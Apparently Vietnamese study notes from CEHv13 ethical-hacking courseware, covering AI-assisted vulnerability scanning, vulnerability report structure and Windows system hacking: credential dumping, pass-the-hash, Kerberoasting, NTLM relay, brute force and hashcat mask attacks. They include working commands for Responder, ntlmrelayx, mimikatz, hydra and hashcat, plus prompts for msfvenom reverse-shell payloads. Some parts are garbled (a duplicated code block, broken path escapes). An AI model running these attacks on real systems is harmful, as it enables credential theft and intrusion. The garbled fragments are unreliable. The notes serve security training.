- **Fluxguard:** Sử dụng thuật toán AI để phân tích hành vi (behavioral analysis) lưu lượng mạng và tương tác hệ thống.
- **DryRun Security:** Xác thực điểm yếu trong ứng dụng web và hạ tầng.
- **Pentest Copilot:** Trợ lý kiểm thử xâm nhập hỗ trợ AI từ khâu do thám đến khai thác.

- **Beagle Security:** Quét ứng dụng web toàn diện, kết hợp AI phát hiện Top 10 OWASP.
- **Hackules:** Đánh giá điểm yếu bằng các kỹ thuật nâng cao như Xử lý ngôn ngữ tự nhiên (NLP) và ML.
- **Coderbuds:** Nền tảng bảo mật mã nguồn AI-driven tích hợp các công cụ phát triển chủ lưu.

Đánh giá lỗ hổng sử dụng AI (Vulnerability Assessment using AI) (Trang 600-613)

Kẻ tấn công có thể tận dụng các công nghệ Generative AI như ChatGPT để nâng cao và tự động hóa các tác vụ quét lỗ hổng thông qua các Prompt lệnh. Cụ thể:

- **Quét bằng Nikto qua AI:** AI tạo câu lệnh: `"Launch nikto to execute a scan against the URL www.certifiedhacker.com to identify potential vulnerabilities."` -> Đầu ra: `nikto -h www.certifiedhacker.com -o output.txt`
- **Quét bằng Nmap qua AI:** AI tạo lệnh tự động: `"Perform a vulnerability scan on target url www.moviescope.com with nmap and save the results in output.txt"` -> Đầu ra: `nmap -sV --script=vuln www.moviescope.com -oN output.txt`
- **Quét bằng Skipfish qua AI:** Tự động hóa dò quét web: `"Perform a vulnerability scan on target url http://testphp.vulnweb.com with Skipfish and display the output file index.html in Firefox"` -> Đầu ra: `skipfish -o /tmp/skipfish_output http://testphp.vulnweb.com && firefox /tmp/skipfish_output/index.html`
- *Giải thích các cờ lệnh (flags) do AI tạo ra:*
  - **Lệnh Nikto (`nikto -h www.certifiedhacker.com -o output.txt`):**
    - `-h`: Tùy chọn này chỉ định URL mục tiêu (Target URL) để quét lỗ hổng.
    - `-o output.txt`: Tùy chọn này chỉ định tệp nơi kết quả quét sẽ được lưu lại (ở đây là output.txt).
  - **Lệnh Nmap (`nmap -sV --script=vuln www.moviescope.com -oN output.txt`):**
    - `-sV`: Yêu cầu Nmap thực hiện dò tìm phiên bản (Version detection) để xác định phần mềm nào đang chạy trên các cổng đang mở.
    - `--script=vuln`: Chỉ định Nmap chạy script tập trung vào quét lỗ hổng (vulnerability scanning).
    - `-oN output.txt`: Lưu kết quả quét ở định dạng Normal (chuẩn) vào tệp output.txt.
  - **Lệnh Skipfish (`skipfish -o /tmp/skipfish_output http://testphp.vulnweb.com && firefox /tmp/skipfish_output/index.html`):**
    - `-o /tmp/skipfish_output`: Chỉ định thư mục đầu ra để lưu trữ kết quả quét của Skipfish.
    - Sau khi hoàn tất, lệnh `&& firefox ...` sẽ tự động mở tệp báo cáo `index.html` bằng trình duyệt Firefox.
- **Tạo kịch bản Python tự động bằng AI:** Kẻ tấn công có thể yêu cầu AI viết một script Python hoàn chỉnh để chạy liên tiếp Nmap rồi Nikto. *Prompt:* `"Create a python script to run a fast but comprehensive Nmap scan on the IP addresses in scan1.txt and then execute vulnerability scanning using nikto against each IP address..."`*. AI sẽ trả về script sử dụng thư viện`subprocess`của Python để thực thi các lệnh`nmap -T4 -A -v`và`nikto -h`‘ lặp qua từng IP.
  - **Mã nguồn Python tự động hóa đánh giá lỗ hổng (Trang 607):**

```python
import subprocess
# Đọc danh sách địa chỉ IP từ file scan1.txt
with open('scan1.txt', 'r') as file:
```

```
    ip_addresses = file.read().splitlines()

# Chạy quét Nmap trên từng địa chỉ IP
for ip in ip_addresses:
    subprocess.run(['nmap', '-T4', '-A', '-v', ip])

    # Chạy quét lỗ hổng Nikto trên từng địa chỉ IP
    subprocess.run(['nikto', '-h', ip])
```

import subprocess

Read the list of IP addresses from scan1.txt

with open('scan1.txt', 'r') as file: ip_addresses = file.read().splitlines()

Run Nmap scan on each IP address

for ip in ip_addresses: subprocess.run(['nmap', '-T4', '-A', '-v', ip])

Run Nikto vulnerability scan on each IP address

`subprocess.run(['nikto', '-h', ip])`

* Tập lệnh trước tiên sẽ đọc danh sách các địa chỉ IP từ tệp `scan1.txt`.
* Sau đó, nó lặp qua từng địa chỉ IP và thực thi quét Nmap với các tùy chọn được chỉ định (trong trường hợp này, `-T4` cho mẫu thời gian và `-A` để quét quyết liệt) bằng hàm `subprocess.run()`.
* Sau khi hoàn tất quét Nmap, nó tiếp tục thực thi quét lỗ hổng Nikto trên mỗi địa chỉ IP bằng cách sử dụng lại hàm `subprocess.run()`.
* Kết quả của cả hai lần quét sẽ được hiển thị ở đầu ra console.

Báo cáo đánh giá lỗ hổng (Vulnerability Assessment Report)

Tài liệu hướng dẫn hoàn thiện báo cáo phân loại mức độ rủi ro (High, Medium, Low). Báo cáo tiêu chuẩn gồm các thành phần sau:

- **Các thành phần bắt buộc phải có trong Báo cáo đánh giá lỗ hổng (Components of a Vulnerability Assessment Report):**
  - Tên lỗ hổng và ID CVE được ánh xạ.
  - Ngày phát hiện (Date of discovery).
  - Điểm số dựa trên cơ sở dữ liệu CVE.
  - Mô tả chi tiết về lỗ hổng.
  - Tác động của lỗ hổng (The impact of the vulnerability).
  - Thông tin chi tiết về các hệ thống bị ảnh hưởng.

  - Chi tiết về quy trình cần thiết để khắc phục lỗ hổng (bao gồm thông tin bản vá, sửa lỗi cấu hình và các cổng cần chặn).
  - Bằng chứng khái niệm (Proof of Concept - PoC) của lỗ hổng đối với hệ thống (nếu có thể).
- **Phân loại Báo cáo đánh giá lỗ hổng (Trang 616):** Được chia làm 2 loại chính:
  - **Báo cáo lỗ hổng bảo mật (Security Vulnerability Report):** Bản báo cáo kết hợp tất cả thiết bị/server đã quét. Chi tiết bao gồm: Các lỗ hổng mới phát hiện, Các cổng mở và dịch vụ được phát hiện, Đề xuất khắc phục, Các liên kết đến bản vá (Links to patches).
  - **Tóm tắt lỗ hổng bảo mật (Security Vulnerability Summary):** Bản báo cáo tóm tắt cho từng thiết bị cụ thể. Chi tiết bao gồm: Điểm yếu bảo mật hiện tại, Danh mục lỗ hổng, Lỗ hổng mới phát hiện, Mức độ nghiêm trọng, và Các lỗ hổng đã được giải quyết (Resolved vulnerabilities).
- **Executive Summary (Tóm tắt cho ban điều hành):**
  - *Assessment scope and objectives:* (Mục đích và phạm vi quét).
  - *Testing narrative:* (Hệ điều hành, IP, Loại quét, Ngày/giờ/thời lượng thực hiện).
  - *Findings summary:* (Lỗ hổng nghiêm trọng, Số lượng lỗ hổng theo mức độ, Đánh giá rủi ro tổng thể, Các vấn đề cần giải quyết).
  - *Remediation summary:* Tóm tắt khắc phục.
  - *Component compliance summary:* Tóm tắt tuân thủ thành phần.
- **Assessment Overview (Tổng quan về đánh giá):** Phương pháp luận (Methodology); Thông tin quét (loại quét, công cụ, phiên bản); Thông tin mục tiêu (Tên, IP); Công cụ được sử dụng.
- **Findings (Kết quả/Phát hiện chi tiết):**
  - *Scanned hosts:* Chi tiết máy chủ (Tên/IP, , , Tên dịch vụ và Cổng).
  - *Affected assets:* Tài sản bị ảnh hưởng.
  - *Types of vulnerabilities identified:* Loại lỗ hổng.
  - *Detailed information:* (Bao gồm CVE ID, điểm CVSS, mô tả mối đe dọa, tác động, khắc phục, và khả năng khai thác - exploitability).
  - *Notes:* Ghi chú kết quả quét bổ sung.
- **Risk Assessment (Đánh giá rủi ro):** Phân loại mức độ rủi ro (critical, high, moderate, low); Các lỗ hổng tiềm ẩn thỏa hiệp hệ thống; Các máy chủ trọng yếu có lỗ hổng nghiêm trọng.
- **Recommendations (Đề xuất khắc phục):** Ưu tiên theo xếp hạng rủi ro; Kế hoạch hành động (Action plan); Phân tích nguyên nhân gốc rễ (Root-cause analysis); Áp dụng bản vá; Bài học kinh nghiệm; Đào tạo nhận thức; Thực hiện đánh giá định kỳ; Triển khai các chính sách và kiểm soát.
- *(Lưu ý bổ sung 4 thành phần thiết yếu theo nội dung bài nguồn):*
  - **Appendices and Supporting Information:** Nhật ký chi tiết (logs), tệp cấu hình.
  - **Conclusion (Kết luận):** Tổng hợp phát hiện và tầm quan trọng của việc sửa chữa.
  - **Follow-Up Actions and Timeline:** Lịch trình đánh giá lại và theo dõi hiệu quả bản vá.
  - **Glossary of Terms:** Định nghĩa các thuật ngữ an ninh mạng được dùng trong báo cáo.

CEHv13 - Module 06 - System Hacking

System hacking là một trong những mục tiêu quan trọng nhất, và đôi khi là mục tiêu tối thượng của một kẻ tấn công. Kẻ tấn công thu thập thông tin thông qua các kỹ thuật như footprinting, scanning, enumeration, và vulnerability analysis, sau đó sử dụng thông tin này để tấn công hệ thống đích.

Chiếm quyền truy cập (Gaining access)

Chiếm quyền truy cập là bước đầu tiên trong các phương pháp tấn công hệ thống (CHM), trong đó kẻ tấn công sử dụng nhiều kỹ thuật như bẻ khóa mật khẩu, khai thác tràn bộ đệm (buffer overflows), và khai thác các lỗ hổng đã được xác định để truy cập vào hệ thống đích.

Windows

Cách mật khẩu được lưu trong SAM của Windows (SAM)

- Trình quản lý tài khoản bảo mật của Windows (Security Accounts Manager - SAM) hoặc cơ sở dữ liệu Active Directory (AD) được sử dụng để quản lý tài khoản người dùng và lưu trữ mật khẩu dưới dạng băm (một chiều - one-way hash).
- Hệ thống **không bao giờ** lưu trữ mật khẩu dưới dạng bản rõ (plaintext) nhằm bảo vệ chúng khỏi các cuộc tấn công.
- Tệp SAM được hệ thống triển khai như một tệp registry (registry database). Kernel của Windows duy trì một khóa hệ thống tệp độc quyền (exclusive filesystem lock) trên tệp SAM này.
- **Không thể sao chép hoặc di chuyển tệp SAM** sang vị trí khác trong khi Windows đang chạy (online attacks). Khóa này chỉ được giải phóng khi hệ thống bị lỗi màn hình xanh hoặc hệ điều hành đã tắt.
- Tuy nhiên, để phục vụ bẻ khóa ngoại tuyến (offline brute-force), kẻ tấn công có thể dump nội dung phần đĩa cứng chứa tệp SAM bằng nhiều kỹ thuật khác nhau.
- Tệp SAM sử dụng chức năng **SYSKEY** (trong Windows NT 4.0 và các phiên bản mới hơn) để mã hóa một phần các giá trị băm mật khẩu. Các khóa được mã hóa này khiến việc bẻ khóa trở nên rất khó khăn (một số phiên bản có thêm khóa phụ - secondary key).

Cách mật khẩu được lưu cụ thể:

- **Vị trí:** Tệp SAM được lưu tại `%SystemRoot%\textbackslash{}system32\textbackslash{}config\textbackslas` trong hệ thống Windows, và được mount vào registry dưới nhánh `HKEY_LOCAL_MACHINE\textbackslash{}SAM`.
- Lưu trữ các giá trị băm **LM** hoặc **NTLM**.

NTLM authentication (Xác thực NTLM)

- **NT LAN Manager (NTLM)** là giao thức xác thực mặc định thực hiện việc xác thực bằng chiến lược thử thách/phản hồi (challenge/response).
- Vì nó không dựa trên một đặc tả giao thức chính thức nào, nên không có gì đảm bảo nó hoạt động hoàn toàn nhất quán và hiệu quả trong mọi tình huống.
- NTLM bao gồm ba phương thức: LM, NTLMv1 và NTLMv2 (khác biệt chính là cấp độ mã hóa). NTLMv2 mạnh hơn, tuy nhiên Microsoft đã nâng cấp giao thức xác thực mặc định lên **Kerberos** vì Kerberos an toàn hơn NTLM rất nhiều.
- NTLM thay thế hoàn toàn băm LM (do LM dễ bị bẻ khóa). Các phiên bản từ Windows Vista trở về sau đã **vô hiệu hóa** băm LM theo mặc định.

- Tệp SAM sẽ chỉ lưu một giá trị "dummy" (trống hoặc giả) không liên quan gì đến mật khẩu thực tế nếu băm LM bị xóa, và không thể tính toán băm LM cho các mật khẩu dài hơn 14 ký tự.

Công cụ trích xuất hash mật khẩu:

- **pwdump7:** Trích xuất hàm băm LM và NTLM từ cơ sở dữ liệu SAM cục bộ. Nó hoạt động bằng cách trích xuất tệp nhị phân SAM và SYSTEM, có khả năng dump các tệp được bảo vệ và hoạt động offline (yêu cầu quyền admin).
- **Mimikatz**
- **DSinternals**
- **hashcat**
- **PyCrack**

Quy trình xác thực NTLM (Tóm tắt chi tiết):

1. **Quy trình xác thực NTLM đầy đủ của Microsoft:**
    1. Máy khách nhập tên người dùng và mật khẩu vào cửa sổ đăng nhập.
    2. Windows chạy mật khẩu qua một thuật toán băm và tạo ra hàm băm cho mật khẩu được nhập.
    3. Máy khách gửi yêu cầu đăng nhập cùng với tên miền đến bộ điều khiển miền (Domain Controller - DC).
    4. DC tạo ra một chuỗi ký tự ngẫu nhiên 16-byte gọi là "nonce" và gửi nó cho máy khách.
    5. Máy khách mã hóa "nonce" bằng hàm băm của mật khẩu người dùng và gửi trả lại cho DC.
    6. DC truy xuất hàm băm của người dùng từ cơ sở dữ liệu SAM và dùng nó để mã hóa "nonce". DC sau đó so sánh giá trị được mã hóa của chính nó với giá trị nhận được từ máy khách. Nếu khớp, máy khách được xác thực thành công.

Kerberos authentication (Xác thực Kerberos)

- Sử dụng mật mã khóa bí mật (secret-key cryptography) để cung cấp xác thực mạnh mẽ (xác thực hai chiều giữa client và server) và bảo vệ dữ liệu khỏi tấn công phát lại (replay attacks) hay nghe lén (eavesdropping).
- Sử dụng **KDC (Key Distribution Center)**: Trung tâm phân phối khóa, là một bên thứ ba đáng tin cậy.
- KDC bao gồm hai phần logic: **AS (Authentication Server)** và **TGS (Ticket Granting Server)**.
- Sử dụng "vé" (tickets) để chứng minh danh tính người dùng thay vì truyền mật khẩu.
- Là bản nâng cấp mặc định thay thế NTLM, cung cấp khả năng bảo mật mạnh mẽ hơn nhiều.

Quy trình Kerberos (Tóm tắt chi tiết):

1. Đăng nhập và gửi yêu cầu xác thực đến máy chủ AS (Authentication Server).
2. Nhận **Ticket-Granting Ticket (TGT)** từ AS *(Phục vụ cho cơ chế Single Sign-On để truy cập sau này mà không cần nhập lại mật khẩu).*
3. Gửi yêu cầu quyền truy cập một dịch vụ cụ thể tới TGS.
4. Nhận **Service ticket (ST)** từ TGS.
5. Truy cập dịch vụ bằng cách gửi yêu cầu kèm vé tới Application Server.
6. Application server phản hồi lại client để chứng minh danh tính của nó.

Các phương án lấy mật khẩu / bẻ khóa:

- **Dump credentials từ bộ nhớ:** Trích xuất mật khẩu bản rõ, hash, ticket từ bộ nhớ tiến trình LSASS bằng các công cụ như Mimikatz.
- **Lấy bản sao cục bộ của cơ sở dữ liệu SAM:** Sử dụng pwdump7 hoặc các kỹ thuật dump đĩa khi hệ thống offline.
- **Lấy bản sao của AD file `ntds.dit`:** Bằng kỹ thuật DCSync attack để mô phỏng một quá trình đồng bộ Active Directory và yêu cầu DC cung cấp hash.
- **Trích xuất SYSKEY (boot key):** Để giải mã một phần các hash mật khẩu trong SAM.
- **Chặn (intercept) credentials truyền qua mạng:**
  - **Passive sniffing (Nghe lén thụ động):** Sử dụng công cụ (sniffer) bắt gói tin truyền qua mạng Hub/LAN để đánh cắp mật khẩu email, web, FTP, SMB, SQL mà nạn nhân không hay biết.
  - **MITM (Man-in-the-Middle) & Replay attacks:** Đứng giữa kênh giao tiếp để nghe lén, lấy cắp token/hash và phát lại (replay) giao dịch mạng.
  - **Plaintext password:** Bắt các thông tin xác thực gửi qua các giao thức không mã hóa (như Telnet).
  - **LM, NTLM, NTLMv2, Kerberos:** Can thiệp thông qua *LLMNR/NBT-NS Poisoning*, *NTLM Relay*, *Kerberoasting* (cracking TGS), và *AS-REP Roasting* (cracking TGT) để trích xuất hash.

Tấn công brute-force / Password Spraying trên dịch vụ mạng: Kẻ tấn công sử dụng các kỹ thuật Brute-force hoặc Password Spraying *(thử một mật khẩu phổ biến trên nhiều tài khoản cùng lúc để tránh bị khóa tính năng Account Lockout)* thông qua các cổng phổ biến sau:

- **MSSQL (1433/TCP)**
- **SMB / File and Print server (445/TCP)** *(Ghi chú: Mặc dù tài liệu đề cập chung về các kỹ thuật Active Online attack nhắm vào ứng dụng Web và email, danh sách cụ thể được liệt kê cho Password Spraying tập trung vào MSSQL, SSH, FTP, SMB, Telnet và Kerberos).*

Brute force dịch vụ điều khiển từ xa:

- **SSH (22/TCP)**
- **FTP (21/TCP)**
- **Telnet (23/TCP)**
- **Kerberos (88/TCP)**

1. Bẻ khóa mật khẩu (Password Cracking)

Bẻ khóa mật khẩu là quá trình phục hồi mật khẩu từ dữ liệu truyền tải qua hệ thống máy tính hoặc từ dữ liệu được lưu trữ, nhằm giúp người dùng khôi phục mật khẩu hoặc giúp kẻ tấn công giành quyền truy cập trái phép. Phân loại các cuộc tấn công mật khẩu bao gồm:

Tấn công phi điện tử / phi kỹ thuật (Non-Electronic Attacks)

- **Social engineering:** Khai thác hành vi con người, lừa gạt nạn nhân phá vỡ quy trình bảo mật thông thường để lấy thông tin.
- **Shoulder surfing:** Nhìn trộm qua vai nạn nhân (quan sát bàn phím hoặc màn hình) khi họ nhập mật khẩu hoặc mã PIN (ví dụ: ở hàng thanh toán siêu thị).
- **Dumpster diving:** Lục lọi thùng rác để tìm kiếm thông tin nhạy cảm bị vứt bỏ như tệp mật khẩu, sách hướng dẫn, báo cáo, hoặc biên lai.

Tấn công online chủ động (Active Online Attacks):

Kẻ tấn công giao tiếp trực tiếp với máy nạn nhân để lấy mật khẩu. Các kỹ thuật bao gồm:

- **Password guessing:** Đoán mật khẩu thủ công bằng cách thu thập thông tin qua social engineering và sử dụng thuật toán vòng lặp FOR đơn giản.
- Các bước thực hiện tấn công đoán mật khẩu (Password Guessing steps):
  1. Tìm một người dùng hợp lệ (Find a valid user).
  2. Tạo danh sách các mật khẩu có thể (Create a list of possible passwords).
  3. Xếp hạng mật khẩu từ xác suất cao đến thấp (Rank passwords from high to low probability).
  4. Nhập từng mật khẩu cho đến khi tìm ra mật khẩu đúng (Key in each password).
- **Dictionary attack:** Tải một tệp từ điển (chứa danh sách các từ phổ biến) vào ứng dụng bẻ khóa để chạy thử. Thường kết hợp thêm số và ký hiệu để tăng tỷ lệ thành công.
- **Các phương pháp tinh chỉnh từ điển (Tailoring wordlists):**
  - Sử dụng thao tác thao túng chuỗi (string manipulation) cùng với từ điển để tạo ra các đảo chữ (anagrams) (ví dụ: từ "system" thành "metsys").
  - Tùy chỉnh danh sách từ theo mục tiêu bằng cách bao gồm thông tin có khả năng được họ sử dụng làm mật khẩu, chẳng hạn như tên, ngày quan trọng và sở thích (thu thập từ mạng xã hội).
  - Kết hợp các mật khẩu từ các vụ rò rỉ dữ liệu (data breaches) vào danh sách từ.
  - Thay thế các chữ cái bằng số hoặc ký hiệu (ví dụ: "e" thành "3", "i" thành "1") hoặc thêm số/ký hiệu vào cuối mật khẩu.
  - Điều chỉnh danh sách từ dựa trên chính sách mật khẩu của hệ thống đích (ví dụ: độ dài tối thiểu, yêu cầu số/ký hiệu).
  - Thiết kế cuộc tấn công để tránh kích hoạt khóa tài khoản (account lockouts) bằng cách giới hạn số lần thử hoặc phân phối thử nghiệm qua nhiều địa chỉ IP.
  - Sử dụng các công cụ hỗ trợ xử lý song song để tăng số lượng lần thử trong một khung thời gian.

  Phân tích mật mã (Cryptanalysis trong Brute-force): Cryptanalysis là một cuộc tấn công brute-force vào mã hóa sử dụng việc tìm kiếm trong không gian khóa (keyspace) để khôi phục bản rõ (plaintext). Việc phát hiện ra khóa hoặc bản rõ nhanh hơn so với tấn công brute-force là một cách để phá vỡ mật mã. Nếu kẻ tấn công chọn khóa ngẫu nhiên, bản rõ sẽ được tìm thấy trung bình sau khi hệ thống đã thử một nửa số khóa có thể.
- **Brute force attack:** Thử mọi kết hợp ký tự có thể có (exhaustive key-search) cho tới khi bẻ được mật khẩu. Rất tốn thời gian nhưng mọi mật khẩu cuối cùng đều sẽ bị tìm ra.
- **Rule-based attack:** Sử dụng khi kẻ tấn công biết trước một số thông tin về mẫu mật khẩu (VD: biết mật khẩu có 2 chữ số). Gồm hai dạng: **Hybrid attack** (thêm số/ký tự vào từ điển cũ) và **Syllable attack** (kết hợp các âm tiết).
- **Password spraying attack:** Tấn công nhiều tài khoản người dùng cùng lúc bằng một vài mật khẩu phổ biến nhất. Phương pháp này giúp tránh bị cơ chế tự động khóa tài khoản (account lockout) phát hiện.
- **Hash injection / Pass-the-Hash (PtH):** Chèn hàm băm (hash) LM hoặc NTLM đã bị lộ vào một phiên cục bộ (local session) để xác thực vào tài nguyên mạng (qua mặt hệ thống SSO của Windows). Thường dùng `Mimikatz` để lấy hash từ tiến trình `lsass.exe`.

- **Overpass-the-Hash Attack (OPtH) (Trang 935):** Là phần mở rộng của tấn công pass-the-ticket và pass-the-hash. Kẻ tấn công sử dụng hàm băm NTLM của các tài khoản người dùng khác nhau để yêu cầu/đánh cắp vé Kerberos (TGT). Khi đã có vé hợp lệ hoặc khóa AES, chúng có thể truy cập các tài nguyên mạng khác.
  - Công cụ: Sử dụng mimikatz với các lệnh: `privilege::debug` và `sekurlsa::ekeys` để lấy khóa AES128, NTLM (RC4) và AES256 cho vé Kerberos.
- **LLMNR/NBT-NS poisoning:** Lợi dụng tính năng phân giải tên của Windows (LLMNR - Link Local Multicast Name Resolution và NBT-NS - NetBIOS Name Service). Kẻ tấn công lắng nghe các yêu cầu UDP broadcast và phản hồi giả mạo máy chủ đích để nhận hash NTLMv2. (Công cụ: `Responder`).
- **Cracking Kerberos:**
  - **AS-REP Roasting:** Cơ chế hoạt động của AS-REP Roasting: Trong kiểu tấn công này, kẻ tấn công nhắm mục tiêu vào những người dùng có tùy chọn "Do not require Kerberos preauthentication" (Không yêu cầu xác thực trước Kerberos) được bật, hoặc các tài khoản không yêu cầu xác thực trước. Khi chế độ này bị vô hiệu hóa, kẻ tấn công có thể gửi yêu cầu xin vé (TGT) cho tài khoản đó từ DC mà không cần biết mật khẩu của mục tiêu. DC sẽ phản hồi bằng một TGT được mã hóa (AS-REP). Phản hồi này được mã hóa bằng hàm băm mật khẩu của người dùng. Lúc này, kẻ tấn công sẽ bắt giữ gói tin và bẻ khóa ngoại tuyến để tìm ra mật khẩu. *Yêu cầu của cuộc tấn công:* Cần có kết nối trực tiếp với DC để gửi và nhận yêu cầu. Khuyến nghị có tài khoản miền hợp lệ để dễ dàng dùng truy vấn LDAP tìm kiếm người dùng có lỗ hổng (nếu không có, kẻ tấn công phải đoán tên người dùng).
  - **Kerberoasting:** Nhắm vào Ticket Granting Service (TGS). Kẻ tấn công trích xuất hash mật khẩu của các tài khoản dịch vụ (Service accounts - SPNs) có đặc quyền cao bằng công cụ như `Rubeus` và bẻ khóa offline (bằng `hashcat`).
  - **Pass-the-ticket:** Đánh cắp vé TGT/ST (Golden ticket hoặc Silver ticket) bằng `Mimikatz` để xác thực vào các dịch vụ mà không cần mật khẩu.
- **NTLM Relay:** Chặn và chuyển tiếp (relay) các yêu cầu xác thực NTLM giữa máy khách và máy chủ để mạo danh máy khách. (Công cụ: `Responder`, `ntlmrelayx`, Metasploit).
  - **Các bước thực hiện NTLM Relay Attack (với Responder và Impacket):**
    1. Cài đặt và khởi chạy Responder để đầu độc lưu lượng mDNS, LLMNR và NBT-NS nhằm bắt Net-NTLMv2 hash. Lệnh: `./Responder -I eth0`
    2. Sau khi cài đặt Impacket, thiết lập ntlmrelayx và nhắm mục tiêu vào giao thức SMB trên máy nạn nhân để chuyển tiếp phiên NTLM và đợi người dùng truy cập: `impacket-ntlmrelayx.py -of <path_to/SAM-NTLMv2dump file> -tf <path_to/relaytargets> -smb2support`
    3. Khi người dùng truy cập chia sẻ SMB, các hàm băm SAM của hệ thống đích sẽ bị dump ra màn hình.
- **Internal monologue attack:** Giống với Mimikatz nhưng không dump bộ nhớ LSASS. Dùng giao diện SSPI từ ứng dụng user-mode để tính toán phản hồi NetNTLM, từ đó bẻ khóa NTLM hash bằng rainbow tables.
- **Các bước thực hiện Internal Monologue attack:**
  1. Vô hiệu hóa các kiểm soát bảo mật của NetNTLMv1 bằng cách sửa đổi giá trị của LMCompatibilityLevel, NTLMMinClientSec, và RestrictSendingNTLMTraffic.
  2. Trích xuất tất cả các token đăng nhập không qua mạng (non-network logon tokens) từ tất cả các tiến trình đang hoạt động để giả mạo thành người dùng hợp pháp.
  3. Tương tác với NTLM SSP cục bộ, đối với mỗi người dùng bị giả mạo, để lấy phản hồi NetNTLMv1.
  4. Khôi phục (restore) lại các giá trị cấu hình bảo mật về trạng thái ban đầu.
  5. Sử dụng rainbow tables để bẻ khóa mã băm NTLM từ các phản hồi thu được.

6. Sử dụng hash đã bẻ khóa để giành quyền truy cập cấp hệ thống.

- **Trojans/Spyware/Keyloggers:** Cài mã độc chạy ngầm để đánh cắp thao tác gõ phím và mật khẩu gửi về cho kẻ tấn công.
- **Các phương pháp tấn công mật khẩu khác:** Fingerprint attack (chia nhỏ passphrase thành các dấu vân tay), PRINCE attack (tạo chuỗi từ một từ điển duy nhất), Toggle-Case attack (thử mọi trường hợp chữ hoa/chữ thường), Markov-chain attack, GPU-based attack (dùng OpenGL API trên trình duyệt để đánh cắp mật khẩu).
- **GPU-based Attack (Tấn công dựa trên GPU):** Kẻ tấn công sử dụng bộ xử lý đồ họa (GPU) thông qua các API đa nền tảng như OpenGL trên trình duyệt web. Kẻ tấn công sử dụng kỹ nghệ xã hội lừa nạn nhân tải ứng dụng độc hại. Sau đó, phần mềm độc hại trên API OpenGL sẽ thiết lập các gián điệp (spy) để theo dõi các hoạt động trên trình duyệt, sao chép mọi ký tự được nhập vào trường mật khẩu thông qua rò rỉ kênh kề (side-channel leaks).

Tấn công online thụ động (Passive Online Attacks):

Kẻ tấn công không giao tiếp hay thay đổi hệ thống, chỉ giám sát luồng dữ liệu mạng.

- **Wire sniffing:** Nghe lén các gói tin mạng trên lớp liên kết dữ liệu (LAN/hub) để bắt mật khẩu FTP, SMB, web, SQL dưới dạng cleartext.
- **Man-in-the-Middle (MITM) & Replay attacks:** Đứng giữa giao tiếp để nghe lén, lấy cắp token rồi phát lại (replay) giao dịch để giành quyền truy cập.

Tấn công offline (Offline Attacks):

Phục hồi mật khẩu từ các bản dump hash.

- **Rainbow table attack:** Kỹ thuật đánh đổi bộ nhớ và thời gian. Dùng bảng hash đã được tính toán sẵn (pre-computed hashes) để so sánh và giải mã. (Công cụ tạo bảng: `rtgen`, `RainbowCrack`).
- **Tấn công phân tán (Distributed Network Attack - DNA):** Dùng phần mềm chia nhỏ tác vụ và tận dụng sức mạnh xử lý của nhiều máy tính rảnh rỗi trên mạng để bẻ khóa mật khẩu.
  - *Cấu trúc của DNA (Trang 669-670):* Bao gồm **DNA Server Interface** (Giao diện máy chủ giúp quản lý danh sách *Current Jobs* - các công việc đang chờ và *Finished Jobs* - các công việc giải mã đã hoàn tất) và **DNA Client Interface** (Ứng dụng chạy nền trên các máy trạm để điều phối số liệu thống kê và băng thông mạng mà không làm phiền người dùng).
    - **Các tính năng của Distributed Network Attack (DNA):** Dễ dàng đọc số liệu thống kê và biểu đồ, thêm từ điển người dùng để bẻ khóa mật khẩu, tối ưu hóa các cuộc tấn công mật khẩu cho các ngôn ngữ cụ thể, sửa đổi từ điển người dùng, bao gồm chức năng cài đặt máy khách tàng hình (stealth client installation), và tự động cập nhật máy khách trong khi cập nhật máy chủ DNA.
      - **Network Management (Quản lý mạng):** Hộp thoại Network Traffic giúp khám phá tốc độ mạng mà DNA sử dụng và chiều dài từng đơn vị công việc (work-unit) của máy khách DNA. Sự sụt giảm tốc độ truy cập mạng sẽ dẫn đến việc máy khách phải dành nhiều thời gian hơn cho công việc, từ đó gửi ít yêu cầu hơn đến máy chủ DNA để giảm thiểu băng thông.

2. Các công cụ (Tools)

Công cụ password spraying và brute-force:

- `thc-hydra` (ví dụ: `hydra -l <login> -p <password> ftp://localhost/` hoặc dùng list: `-L <logins.txt> -P <passwords.txt>`).
- Metasploit

- Rubeus
- adfsbrute
- CrackMapExec

Mask attack (Tấn công theo mặt nạ):

Là dạng brute-force nhưng dựa trên mẫu mật khẩu được biết trước để giảm thời gian bẻ khóa.

- Sử dụng công cụ `hashcat`. (Ví dụ: `hashcat -a 3 -m 0 md5_hashes.txt ?l?l?l?d?d?d`).
  - `-a 3`: Chế độ brute-force/mask attack.
  - *(Ví dụ về lệnh Hashcat với cờ –increment):* Để bẻ khóa một mã băm mật khẩu có độ dài không xác định, sử dụng cờ `--increment` bằng cách cung cấp độ dài tối đa và tối thiểu của mật khẩu: `hashcat -m 0 -a 3 -i --increment-min=6 --increment-max=10 53ab0df... ?l?l?l?l?l?l?l?l?l?l`
  - `-m`: Chỉ định hash mode (0 = MD5).
- Sử dụng các Charsets tích hợp như `?l` (chữ thường), `?u` (chữ hoa), `?d` (số), `?s` (ký tự đặc biệt).

Tích hợp AI trong tấn công mật khẩu (Sử dụng ShellGPT) (Trang 645, 663, 742): Kẻ tấn công có thể sử dụng ChatGPT hoặc các công nghệ AI tạo sinh để tự động hóa các lệnh tấn công. Ví dụ:

- **Yêu cầu:** `"Use Hydra to perform SSH bruteforce on IP address=10.10.1.9 using username.txt and password.txt files..."`
- **Tạo payload bằng AI:** `"Use msfvenom to create a TCP payload with lhost=10.10.1.13 and lport=444"`
- **Thiết lập Listener:** `"Use msfconsole to start a listener with lhost=10.10.1.13 and lport=444"`

Combinator Attack (Tấn công kết hợp): Kết hợp các mục của từ điển thứ nhất với từ điển thứ hai để tạo ra danh sách từ mới (gồm tên đầy đủ và từ ghép). Ví dụ: từ điển 1 có 100 từ, từ điển 2 có 70 từ -> tạo ra 7000 từ. Thường dùng công cụ `hashcat` để thực thi.

Các Charsets tích hợp trong Hashcat (Dùng cho Mask Attack):

- `?l` = abcdefghijklmnopqrstuvwxyz (Chữ thường)
- `?u` = ABCDEFGHIJKLMNOPQRSTUVWXYZ (Chữ hoa)
- `?d` = 0123456789 (Số)
- `?h` = 0123456789abcdef (Hex thường)
- `?H` = 0123456789ABCDEF (Hex hoa)
- `?s` = «space» (Khoảng trắng) và các ký tự đặc biệt `!"#$%&'()*+,-./:;⟺?@[\textbackslash{}]^_{|}~`
